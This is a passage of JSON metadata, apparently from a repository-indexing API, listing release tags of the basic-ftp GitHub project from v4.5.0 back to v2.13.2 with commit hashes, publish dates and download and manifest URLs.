ttps://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v3.8.3","sha":"1b41b396bb90a295e9be630a69bbc39a72d98e0f","kind":"tag","published_at":"2019-08-29T05:21:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.3/manifests"},{"name":"v3.8.2","sha":"fca1005c372e1f7894ce5cc524043c07323b9f62","kind":"tag","published_at":"2019-08-28T19:35:47.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.2/manifests"},{"name":"v3.8.1","sha":"280d78828219235f67eac15fac1d155fb8ec0550","kind":"tag","published_at":"2019-08-14T18:05:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"df70dbf1aeeb33f36ca87bd49f7ef8bc78c6bd92","kind":"tag","published_at":"2019-07-25T16:05:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.8.0/manifests"},{"name":"v3.7.1","sha":"7a2f635fc3f6c7796cd5507d9cef3d3034aeaa86","kind":"tag","published_at":"2019-07-19T07:11:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.1/manifests"},{"name":"v3.7.0","sha":"8ea7c4258505d6e2d5f43efe130c52e73cc1658d","kind":"tag","published_at":"2019-06-26T12:16:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"b5bd1b7dd1db17b5653331a27ce1c643faa379f6","kind":"tag","published_at":"2019-06-05T13:25:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"f7f4302c90483296be5f9a76be4d92930da24e66","kind":"tag","published_at":"2019-04-19T07:28:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.5.0/manifests"},{"name":"v3.4.4","sha":"bfb84f30151d0caae27c1fe0d24da2bfffefc697","kind":"tag","published_at":"2019-03-20T09:22:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.4/manifests"},{"name":"v3.4.3","sha":"23236bf595a8766a8d84d58f5517a034be3ec8cb","kind":"tag","published_at":"2019-03-05T13:31:43.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.3/manifests"},{"name":"v3.4.2","sha":"ec464e88599cb7555ac54334cb60b958c58383e5","kind":"tag","published_at":"2019-02-26T14:23:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.2/manifests"},{"name":"v3.4.1","sha":"5ae8531c7b35f651d57a575883ebe448ac229995","kind":"tag","published_at":"2019-02-23T19:57:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"a4fcc6f911402913a02a4c769921763c11fcdba6","kind":"tag","published_at":"2019-02-23T13:17:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.4.0/manifests"},{"name":"v3.3.1","sha":"bc3d03c424ea2b9ee89ac1d6cb1c2394927a4863","kind":"tag","published_at":"2019-02-19T07:04:15.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"f5da3ff41a4bdb0270c5fd6ed14824e88e4422fa","kind":"tag","published_at":"2019-02-18T16:21:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.3.0/manifests"},{"name":"v3.2.2","sha":"92c9875609fb3c00b369475792fe41f2e5b1940c","kind":"tag","published_at":"2019-02-18T10:01:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"2c8497bb454ec84e9b319bf64869361019bdb537","kind":"tag","published_at":"2019-02-16T08:59:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"08b17d83ec374d42140097ef648845818d1bfeb4","kind":"tag","published_at":"2019-02-15T15:11:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b063cafb2cdc2318c5920cf1d63a906bcd2f315e","kind":"tag","published_at":"2019-01-20T18:48:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"ac00625e89372efdcd62d2361147af0e4b3ebb3f","kind":"tag","published_at":"2019-01-11T08:39:07.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"1b8ae5a577f6fad996eac4ffb6553593900ddcb8","kind":"tag","published_at":"2019-01-03T19:39:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v3.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v3.0.0/manifests"},{"name":"v2.17.1","sha":"6909f1615674c4b07bfc383f83e0dc73fdd0e145","kind":"tag","published_at":"2018-12-29T09:54:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.1/manifests"},{"name":"v2.17.0","sha":"9572a2ce24541e08ab75b3ff31b459aeb7c79c17","kind":"tag","published_at":"2018-12-04T18:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.17.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.17.0/manifests"},{"name":"v2.16.1","sha":"e6203584e4fdcb8e9d2424ba49375c8205d02277","kind":"tag","published_at":"2018-12-01T15:36:05.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.1/manifests"},{"name":"v2.16.0","sha":"d8029d07b3e0859f3912c291a39d8cb05d0c9dda","kind":"tag","published_at":"2018-11-14T21:41:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.16.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"d0d75c4b2fbb473e992868aa94df67f3b1a90ce8","kind":"tag","published_at":"2018-10-31T20:42:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.15.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.15.0/manifests"},{"name":"v2.14.4","sha":"e75b70515a81586bd322598e478b53bb56e2bd4b","kind":"tag","published_at":"2018-10-24T19:18:03.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.4/manifests"},{"name":"v2.14.3","sha":"2465775df11f56ec50b9302eb734c13892d4c546","kind":"tag","published_at":"2018-10-07T18:00:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.3/manifests"},{"name":"v2.14.2","sha":"1e65d2ca5bd2863c5044f63a358f4e5d852375d2","kind":"tag","published_at":"2018-10-03T05:45:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"b7c2b4c8e4442998cfe3c82e1d386c09a9d3b35c","kind":"tag","published_at":"2018-10-03T05:38:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"71f4701a6f462377b0ff0d6381d329112726a6ba","kind":"tag","published_at":"2018-09-27T06:02:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.14.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"52b5ebdd9486cad6a5c8f3bd30a7c6dd167f9829","kind":"tag","published_at":"2018-06-30T13:11:22.000Z","download_url":"https://codeload.github.c